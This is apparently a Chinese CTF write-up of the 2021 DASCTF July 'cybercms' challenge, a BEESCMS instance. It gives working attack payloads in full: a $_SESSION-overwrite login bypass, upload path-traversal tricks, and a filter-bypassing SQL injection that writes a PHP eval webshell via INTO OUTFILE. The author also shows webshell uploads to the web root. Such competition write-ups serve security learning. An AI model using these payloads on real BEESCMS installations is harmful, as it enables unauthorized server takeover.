【CTF大赛】2021 DASCTF July cybercms 一探再探
引言
在前不久結(jié)束的 2021 DASCTF July X CBCTF 4th 比賽中,有一道名為 cybercms 的 web 題目。
預(yù)期解是從后臺(tái)登錄處進(jìn)行 SQL 注入寫入一句話木馬,然而咱在做題的時(shí)候嘗試了另一種思路,用的是后臺(tái)登錄繞過 & 木馬上傳的打法。
由于比賽的時(shí)候半天打不通就十分難受,賽后還是想不明白就來稍微深入探究了一下,經(jīng)過曲折最后終于成功打通了。
這篇就來記錄一下做這道題時(shí)候的心路歷程吧……
題目初探
cybercms
賽博CMS,只為安全而生
Hint: 信息搜集是一個(gè)web手必備的技能
很好,是 BEESCMS,head 里的 description 沒改,正文里其實(shí)也沒改完。
從官網(wǎng)找到了 官方 V4.0 源碼下載
(不過貌似沒啥用 后來發(fā)現(xiàn)還是有用的
后臺(tái)登錄繞過 & 上傳
參考 【代碼審計(jì)】 beescms 變量覆蓋漏洞導(dǎo)致后臺(tái)登陸繞過分析,$_SESSION 可以被任意覆蓋。
POST /_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999
然后直接可以訪問后臺(tái)了。
http://xxxxxxxxxxx/admin/admin.php
參考 代碼審計(jì)就該這么來3 beescms getshell
按照文中的思路,上傳一個(gè)后綴為 .php 的一句話木馬,并修改 Content-Type: image/png 來通過后端對文件類型的校驗(yàn)。
【網(wǎng)安資料】
然而發(fā)現(xiàn)他文件目錄沒權(quán)限上傳啊,隨便上傳一個(gè)正常的圖片也是如此……
源碼泄露
麻了,做到一半才發(fā)現(xiàn)有 源碼泄露,/www.zip…
diff 大法好啊,看來官方源碼還是有用的 2333。
多了個(gè) hackable/ 目錄,看起來只有這個(gè)目錄可寫的樣子。(雖然最后發(fā)現(xiàn)也不行
登錄還過濾了一下 SQL 注入。
注意的是還把 /* * 的過濾給去掉了。
上傳點(diǎn)源碼審計(jì)
再來看上傳部分的源碼。
審了一波源碼,發(fā)現(xiàn)其實(shí)可以 構(gòu)造目錄穿越。
$up_file_name2 由 $pic_alt 而來,這個(gè)是可控的,只需要構(gòu)造個(gè)目錄穿越到 hackable 目錄下就完事了。
【網(wǎng)安資料】
為了進(jìn)到這里,上傳的時(shí)候記得再把 Content-Type: image/png 改好, is_alt 設(shè)為 1。
然而還是沒打通,報(bào)錯(cuò)和上面的類似,也是 PHP 執(zhí)行的時(shí)候文件目錄沒權(quán)限,只不過可以注意到文件名是 .php 了。
(咱也不知道為啥他 $pic_alt 沒傳進(jìn)來,留空的話也不是隨機(jī)數(shù),一臉懵逼
另一個(gè)上傳點(diǎn)審計(jì)
于是么得辦法,再挖了另一個(gè)文件上傳的點(diǎn),考慮通過 修改已上傳圖片的接口 來進(jìn)行上傳。
相應(yīng)源碼如下。
這里的 $pic_path 和 $pic_name 都是可控的,任意改一個(gè)就完事了。當(dāng)然這是 PHP/5.6.40,%00 截?cái)嗖豢尚?2333.
然而還是打不通……
絕絕子,挖了兩條上傳的路,試著繞到 hackable 目錄也打不通……
看來還是文件目錄的限制吧。
心態(tài)炸了啊啊啊啊啊。
SQL 注入寫馬(預(yù)期解)
害,賽后看了看大佬的 wp,么得辦法,還是得走 SQL 注入寫入文件唄。(佛了
再來看上面 diff 出來的關(guān)于 SQL 注入的語句。
過濾了空格,倒是把 /* 過濾去掉了,另外把一些關(guān)鍵詞過濾為空了,雙寫繞過就完事了。
根據(jù)代碼里登錄的 SQL 語句【網(wǎng)安資料】
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");構(gòu)造 SQL
# select xxx into outfile xxx # <?php eval($_REQUEST['m']);?>admin'/**/uni union on/**/seselectlect/**/null,null,null,null,0x3c3f706870206576616c28245f524551554553545b276d275d293b3f3e/**/in in to/**/outoutfilefile/**/'/var/www/html/upload/miao.php'#(咱也不知道為啥 0x 沒被過濾為空,雙寫 0x 發(fā)現(xiàn)并沒有被刪除反而 SQL 執(zhí)行報(bào)錯(cuò)了
Payload:
POST /admin/login.php?action=ck_login HTTP/1.1user=admin%27%2F%2A%2A%2Funi%20union%20on%2F%2A%2A%2Fseselectlect%2F%2A%2A%2Fnull%2Cnull%2Cnull%2Cnull%2C0x3c3f706870206576616c28245f524551554553545b276d275d293b3f3e%2F%2A%2A%2Fin%20in%20to%2F%2A%2A%2Foutoutfilefile%2F%2A%2A%2F%27%2Fvar%2Fwww%2Fhtml%2Fupload%2Fmiao%2Ephp%27%23&password=miao&code=&submit=true&submit.x=43&submit.y=24當(dāng)然也可以用 char 函數(shù)寫入木馬。
admin'/**/uni union on/**/seselectlect/**/null,null,null,null,char(60,63,112,104,112,32,101,118,97,108,40,36,95,82,69,81,85,69,83,84,91,39,109,39,93,41,59,63,62)/**/in in to/**/outoutfilefile/**/'/var/www/html/upload/miao.php'#進(jìn)去發(fā)現(xiàn)果然 MySQL 就是 root 用戶起來的,于是就能寫入文件。
而 PHP 運(yùn)行在 www-data 用戶,/var/www/html 目錄是給 www-data 用戶了,但子目錄沒遞歸變更屬主也沒給寫入權(quán)限就離譜。
$ ps -ef PID USER TIME COMMAND1 root 0:07 /bin/sh /usr/local/bin/docker-php-entrypoint10 root 0:21 /usr/bin/mysqld --user=root --skip-name-resolve --skip-networking=054 root 0:02 php-fpm: master process (/usr/local/etc/php-fpm.conf)60 root 0:00 nginx: master process nginx61 nginx 0:00 nginx: worker process62 www-data 0:00 php-fpm: pool www63 www-data 0:01 php-fpm: pool www 19798 root 0:00 sleep 5s 19799 www-data 0:00 ps -ef也有可能預(yù)期解就只有這條路可走吧。
氣死了,下次直接 pyflag 算了(bushi
上傳點(diǎn)再探
噢對了,尋思著咱挖了兩個(gè)上傳點(diǎn)都整不通,實(shí)在過意不去啊。
既然前面發(fā)現(xiàn)了 www-data 用戶只有 /var/html/www 這個(gè)路徑有權(quán)限寫入,子目錄么有,那可以 傳到這個(gè)網(wǎng)站的根目錄 啊!
【網(wǎng)安資料】
這里用的是修改圖片的接口,也就是上面說的 第二處上傳點(diǎn)。
上傳以后抓包修改幾個(gè)地方,看圖。
也就是讓 move_uploaded_file 結(jié)果是移動(dòng)到網(wǎng)站根目錄下。
pic_path 留空也行。【網(wǎng)安資料】
吶,傳上來了,能用了。
喵喵落淚(【網(wǎng)安資料】
又想了想,尋思著是不是 iconv 的鍋啊,上傳經(jīng)過這個(gè)函數(shù)時(shí)候東西都沒了……
// 第一個(gè)上傳點(diǎn) // includes/fun.php#588-590 $up_file_name=empty($pic_alt)?date('YmdHis').rand(1,10000):$pic_alt; $up_file_name2=iconv('UTF-8','GBK',$up_file_name); $file_name=$path.$up_file_name2.'.'.$pic_name['extension'];// 第二個(gè)上傳點(diǎn) // admin/admin_pic.php#64-65 $pic_name=$_POST['pic_name'];//圖片名稱 $pic_name = iconv('UTF-8','GBK',$pic_name);phpinfo 看一眼。
好家伙,看起來是因?yàn)闆] libiconv 或者 glibc,所以這里面東西就變成空了……沒事了。
小結(jié)
其實(shí)是一次因?yàn)橄氩煌ǘ_始的深入探究,唉,這題做起來不容易啊……
想學(xué)網(wǎng)絡(luò)安全的朋友可以關(guān)注私信我哦!!!
總結(jié)
以上是生活随笔為你收集整理的【CTF大赛】2021 DASCTF July cybercms 一探再探的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【安全漏洞】朝鲜InkySquid AP
- 下一篇: 【安全漏洞】ProxyShell利用分析